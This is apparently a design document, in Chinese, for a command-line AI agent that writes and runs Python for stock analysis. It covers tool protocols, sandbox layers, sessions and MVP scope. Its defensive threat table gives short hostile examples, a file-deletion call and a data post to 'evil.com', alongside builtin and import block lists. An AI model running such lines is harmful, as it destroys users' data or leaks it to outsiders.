量化分析 Agent CLI
工作范围:CLI 层架构、Agent 引擎、工具系统、安全模型、会话管理。不涉及 Web/桌面分发。
1. 核心洞察
量化 agent 的唯一特殊能力:在沙箱里执行它自己写的代码。
通用 agent 的 tool 是预定义函数签名;量化 agent 的 tool 的参数本身就是代码。
这意味着:
- MCP 负责数据抓取(search、fetch),Code Runtime 负责计算(执行、状态管理、可视化)。两者职责不同,不应混用同一协议。
- Tool 设计的颗粒度完全不同——不是 50 个细粒度 finance tool,而是一个
run_python(code) + 一个持久化 session。
- 威胁模型特殊:LLM 生成的代码不可信,沙箱隔离是生存问题,不是可选项。
2. 系统架构
┌──────────────────────────────────────────────┐
│ CLI Layer (rich / textual / prompt_toolkit) │
│ 自然语言输入 → 流式渲染 Markdown + 表格 + 图表 │
├──────────────────────────────────────────────┤
│ Agent Core (Python) │
│ │
│ ┌──────────┐ ┌───────────┐ ┌──────────┐│
│ │ Planning │ │ Coding │ │ Review ││
│ │ 拆解任务 │──→│ 生成代码 │──→│ 校验输出 ││
│ │ 选工具 │ │ 执行+迭代 │ │ 重试/修正 ││
│ └──────────┘ └───────────┘ └──────────┘│
│ │ │
│ ┌─────────┴─────────┐ │
│ ▼ ▼ │
│ ┌──────────────┐ ┌──────────────────┐ │
│ │ Data Tools │ │ Code Runtime │ │
│ │ (MCP 兼容) │ │ (自定义协议) │ │
│ │ │ │ │ │
│ │ search_data │ │ run_python(code) │ │
│ │ fetch_data │ │ · 沙箱隔离 │ │
│ │ list_sources │ │ · 持久 session │ │
│ └──────────────┘ │ · 流式输出 │ │
│ │ · 图表渲染 │ │
│ └──────────────────┘ │
├──────────────────────────────────────────────┤
│ Session Context │
│ 挂载数据集 · 变量命名空间 · 因子定义 · 回测结果│
└──────────────────────────────────────────────┘
2.1 为什么 Data 层用 MCP,Runtime 层不用
| 维度 | Data Tools | Code Runtime |
| 协议 | MCP(行业标准) | 自定义 JSON-RPC(轻量) |
| 原因 | 可复用生态(未来换数据源零成本) | MCP 的强类型 schema 对代码字符串无意义 |
| 工具粒度 | 细:每个操作一个 tool | 粗:一个 run tool = 无限能力 |
| 状态模型 | 无状态(每次调用独立) | 有状态(session 内变量持久) |
| 安全边界 | 可信(开发者写的代码) | 不可信(LLM 生成的代码),需要沙箱 |
3. Agent Loop 设计
3.1 核心循环
用户输入: "找出沪深300市盈率最低的10只股票,按行业分组统计,画图"
┌─────────────────────────────────────────────┐
│ STEP 1: Plan │
│ LLM 输出: │
│ - 需要数据: 沪深300成分股 + PE + 行业分类 │
│ - 需要工具: search_data, fetch_data │
│ - 步骤: 取数→过滤→切片→画图 │
├─────────────────────────────────────────────┤
│ STEP 2: Act (tool calls) │
│ search_data("沪深300成分股") │
│ → 返回: akshare.index_stock_cons("000300") │
│ fetch_data("index_stock_cons", "000300", │
│ fields="code,name,pe,industry") │
│ → 返回: DataFrame(300 rows × 4 cols) │
├─────────────────────────────────────────────┤
│ STEP 3: Code + Execute │
│ LLM 生成: │
│ result = df.nsmallest(10, 'pe_ttm') │
│ grouped = result.groupby('industry').size()│
│ fig = grouped.plot.bar() │
│ run_python(code) → 表格 + 图表 │
├─────────────────────────────────────────────┤
│ STEP 4: Review & Respond │
│ 检查: 输出 10 行? 图表正确? │
│ 不对 → 修正后重新 run │
│ 对的 → 渲染 Markdown 表格 + 图表给用户 │
└─────────────────────────────────────────────┘
3.2 三个子 Agent 的职责
| 角色 | 输入 | 输出 | System Prompt 要点 |
| Planner |
用户自然语言 + 会话上下文 |
结构化任务计划 + 所需数据清单 |
"你是量化策略分析师。输出 YAML 格式的计划,列出数据源、计算步骤、预期输出。" |
| Coder |
任务步骤 + 可用数据 schema |
Python 代码(pandas/numpy/mpl) |
"你是 Python 量化开发者。数据库里有这些 DataFrame,写出分析代码。只用 pandas/numpy/matplotlib。不要用任何 IO 操作。" |
| Reviewer |
代码输出 + 预期结果描述 |
通过 / 修正后的代码 |
"你是代码审查者。检查输出是否符合预期。行数对? 数值范围合理? 类型正确? 给出 pass 或修正建议。" |
风险 多 Agent 循环的延迟
每个子 Agent 都是一次 LLM 调用。最坏情况:Plan → Code → Review 失败 → Re-Code → Re-Review = 5 次调用。
缓解:简单任务跳过 Planner/Reviewer(直接 Coder 一次搞定);并行化非依赖步骤。
4. 工具系统详细设计
4.1 Data Tools(MCP 兼容)
# MCP Server: akshare-provider
# 暴露以下 tools:
{
"name": "search_data",
"description": "搜索可用的数据集。输入关键词,返回匹配的数据集 ID 和描述。",
"parameters": {
"keyword": "string // 如 '沪深300', '可转债', '宏观经济'"
},
"returns": "[{id, name, description, schema, source}]"
}
{
"name": "fetch_data",
"description": "拉取指定数据集。",
"parameters": {
"dataset_id": "string",
"params": "object // 如 {symbol: '000300', start: '2024-01-01'}",
"limit": "int // 默认 10000"
},
"returns": "{columns: [str], dtypes: {col: type}, rows: int, preview: [[...]]}"
}
{
"name": "list_sources",
"description": "列出所有已配置的数据源及其状态。",
"returns": "[{name, status, datasets_count}]"
}
设计决策 fetch_data 不返回完整数据
返回 schema + 前 5 行预览,而不是全部 300 行数据。理由:
(1) 全量数据通过 context 传给 LLM 会爆炸(token 和延迟)
(2) LLM 不需要"看"数据,它只需要知道列名和类型就能写代码
(3) 真正的数据在 Code Runtime 的 session 里,代码执行时直接访问
4.2 Code Runtime(自定义协议)
# 自定义 JSON-RPC over stdio or HTTP
{
"method": "run",
"params": {
"code": "df_result = df.nsmallest(10, 'pe_ttm')",
"session_id": "sess_abc123",
"timeout": 30
},
"returns": {
"stdout": "string",
"stderr": "string",
"error": "string | null",
"artifacts": [
{"type": "dataframe", "name": "df_result", "shape": [10,4],
"columns": [...], "preview": [[...]]},
{"type": "image", "path": "/tmp/plot_1.png", "format": "png"},
{"type": "value", "name": "_", "repr": "0.1523"}
]
}
}
{
"method": "list_vars",
"params": { "session_id": "sess_abc123" },
"returns": {
"variables": [
{"name": "df", "type": "DataFrame", "shape": [300, 4]},
{"name": "df_result", "type": "DataFrame", "shape": [10, 4]}
]
}
}
{
"method": "reset",
"params": { "session_id": "sess_abc123" },
"returns": { "ok": true }
}
4.3 变量命名空间的自动挂载
Agent 写完代码后,Code Runtime 自动把 所有新创建的变量 注册到 session,下一次 Agent 写代码时直接用。LLM 通过 list_vars 了解当前状态:
# 第 1 轮:加载数据
run_python("df = load_csi300_data()")
→ variables: {df: DataFrame(300×15)}
# 第 2 轮:过滤(直接用 df,不需要重新加载)
run_python("low_pe = df[df['pe_ttm'] < 15]")
→ variables: {df: …, low_pe: DataFrame(42×15)}
# 第 3 轮:分组统计(直接用 low_pe)
run_python("result = low_pe.groupby('industry')['pe_ttm'].mean().sort_values()")
→ variables: {df: …, low_pe: …, result: Series(12)}
5. 安全模型
5.1 威胁清单
| 威胁 | 例子 | 严重程度 |
| 文件系统破坏 | import os; os.remove("/") | 致命 |
| 数据泄露 | requests.post("evil.com", data) | 致命 |
| 资源耗尽 | while True: pass / 分配 10GB 内存 | 高 |
| 供应链注入 | import malicious_package | 中(pip 白名单可控) |
| 提示注入 | 用户在数据里藏 instruction 劫持 agent 行为 | 中(数据不应进入 system prompt) |
5.2 三层沙箱
Layer 1: Python 进程隔离
subprocess.Popen(["python3", "-c", code])
├─ 独立进程,崩溃不影响主进程
├─ 超时机制:signal.SIGALRM 或 subprocess timeout
└─ 内存限制:resource.setrlimit(RLIMIT_AS, 512MB)
Layer 2: 系统级沙箱 (macOS: sandbox-exec, Linux: firejail / Docker)
├─ 只读文件系统:只挂载必要目录
├─ 限制网络:只允许白名单域名(数据源 API)
├─ 禁止子进程:禁止 exec/fork
└─ CPU 限制:cgroups / nice
Layer 3: Python 级限制
├─ import 白名单:pandas, numpy, matplotlib, scipy, statsmodels
├─ 禁止 builtins:open, __import__, eval, exec, compile
└─ RestrictedPython(可选):编译时 AST 检查
5.3 最小可行安全方案
MVP 不需要三层全做。 先做最容易实施的:
subprocess + 30 秒超时 — 防死循环
import 白名单检查(代码字符串里扫 import X)— 防危险模块
- Docker 容器执行 — 一次性隔离文件系统和网络
这三件事加起来不到 50 行代码,就能防住 95% 的真实威胁。
6. 会话管理
6.1 Session 生命周期
quanticli new "A股低估值策略研究"
→ session_id: "sess_20240723_a1b2c3"
→ 创建目录 ~/.quanticli/sessions/sess_20240723_a1b2c3/
├─ history.jsonl # 每轮对话记录
├─ context.yaml # 当前上下文(数据集、变量、中间结果)
└─ artifacts/ # 图表、导出 CSV
quanticli resume sess_20240723_a1b2c3
→ 恢复会话:重新加载数据、重建变量命名空间
→ 用户继续提问
quanticli list
→ 列出所有历史会话
quanticli export sess_20240723_a1b2c3
→ 导出为 Markdown 报告 / Jupyter notebook
6.2 Context 压缩策略
量化会话很容易触达 LLM context 上限。两轮数据操作就可能产生大量文本:
# 实际情况:一个 DataFrame schema 就几百 token
"df 有 300 行 15 列:code(str), name(str), open(f64), high(f64),
low(f64), close(f64), volume(i64), pe_ttm(f64), pb(f64),
roe(f64), industry(str), market_cap(f64), …"
# 再加上代码和输出,三轮对话轻松破 4000 token
压缩策略:
- DataFrame 只传 schema(列名 + 类型),不传数据内容
- 代码只保留最后一次正确版本,中间失败的尝试不保留
- Agent 推理过程归结为"已确定"结论,不回放完整思考链
- 触达 80% context 上限时自动 摘要压缩(LLM 自总结前面的分析)
7. 终端渲染
7.1 输出渲染能力矩阵
| 内容类型 | 渲染方式 | 依赖 |
| 普通文本 / Markdown |
rich Markdown 组件,流式追加 |
rich |
| DataFrame / 表格 |
rich Table,自动列宽、对齐 |
rich |
| 柱状图 / 折线图 |
plotext Unicode 终端绘图 |
plotext |
| 复杂图表 / K 线图 |
生成 PNG,Kitty/iTerm2 sixel 协议显示 |
matplotlib + imgcat |
| LaTeX 公式 |
Unicode 近似渲染 or 直接显示 LaTeX 源码 |
手动 or latex2unicode |
| 代码块 |
rich Syntax 语法高亮 |
rich |
7.2 流式输出的处理
LLM 输出是 token 流,但内容混合了文本和工具调用:
文本流: "好的," → "让我" → "分析" → "一下" → …
→ 逐 token 打印到终端(打字机效果)
工具调用(JSON 块): {"tool": "run_python", "code": "..."}
→ 显示为 [⚙ Running analysis...]
→ 拿到结果后追加表格/图表
→ 继续流式文本
实现要点:
- LLM 响应用 SSE stream
- 解析器判断当前 token 属于 text 还是 tool_call
- text → 直接 print flush
- tool_call → 缓冲完整 JSON → 执行 → 渲染 result
8. 配置文件设计
# ~/.quanticli/config.yaml
model:
provider: anthropic # anthropic | openai | local
model: claude-sonnet-4-20250514
# api_key: ${ANTHROPIC_API_KEY} # 从环境变量读取
execution:
sandbox: docker # docker | subprocess | none
timeout: 60 # 每次代码执行超时(秒)
max_memory_mb: 512
allowed_imports:
- pandas
- numpy
- matplotlib
- scipy.stats
- statsmodels.api
data_sources:
- name: akshare
type: mcp
command: ["uvx", "akshare-mcp-server"]
- name: tushare
type: mcp
command: ["uvx", "tushare-mcp-server"]
env:
TUSHARE_TOKEN: ${TUSHARE_TOKEN}
- name: local_csv
type: directory
path: ~/quant_data/
display:
max_table_rows: 20
max_column_width: 30
chart_backend: unicode # unicode | sixel | none
theme: dark # dark | light
session:
storage_dir: ~/.quanticli/sessions/
auto_save: true
context_limit_tokens: 80000
auto_summarize_threshold: 0.8 # 80% 触发压缩
9. MVP 范围
目标:2 周内可用的单文件原型。 不追求架构完美,只验证核心体验。
9.1 MVP 包含
| 组件 | 范围 | 技术 |
| CLI 入口 |
quant "问题" 单次问答 |
argparse |
| Agent Loop |
单 Agent,无 Planner/Reviewer 分工 |
自实现 thin wrapper over Anthropic/OpenAI SDK |
| Tool: run_python |
subprocess.run(["python3", "-c", code], timeout=30) |
标准库 |
| Tool: fetch_data |
直接调 akshare,不包 MCP(走捷径) |
akshare pip 包 |
| 输出渲染 |
Markdown + 表格 + Unicode 柱状图 |
rich + plotext |
| 安全 |
超时 + import 白名单检查 |
标准库 |
9.2 MVP 明确不做
- 多轮对话(每次独立运行)
- 会话持久化
- Docker 沙箱
- MCP 协议接入
- TUI / 交互式 REPL
- 多模型路由
- 回测框架集成
10. 关键风险
| 风险 | 影响 | 缓解 |
| LLM 写的分析代码有逻辑错误 |
用户信任崩塌 |
Reviewer Agent 校验 + 输出带置信度标签 |
| 数据源不稳定(akshare 上游挂) |
Agent 直接不可用 |
多 provider fallback + 本地缓存常用数据集 |
| LLM context 不够装复杂分析 |
长分析中断 |
自动摘要压缩 + 分步执行(不一次全给 LLM) |
| 执行速度慢(多轮 LLM 调用) |
用户体验差 |
小模型做简单步骤 + 并行工具调用 |
11. 与竞品的差异化
| 竞品 | 模式 | 量化能力 | 我们的差异 |
| Claude Code / Cursor |
通用 coding agent |
能写 pandas 但不理解 finance 上下文 |
Finance-first system prompt + 数据源内置 |
| 通义千问 / Kimi 金融版 |
Chatbot,不能执行代码 |
能聊不能算 |
我们是 agent,能执行代码 |
| QuantConnect / 聚宽 |
Web IDE + 回测平台 |
功能强但学习曲线高 |
自然语言交互,零学习成本 |
| Jupyter + Copilot |
手动 notebook + AI 补全 |
灵活但不自动化 |
agent 自主规划执行,不是补全 |
定位
我们的位置在 "能执行代码的量化 Copilot" 和 "专业量化平台" 之间——比 Copilot 更自主,比量化平台门槛更低。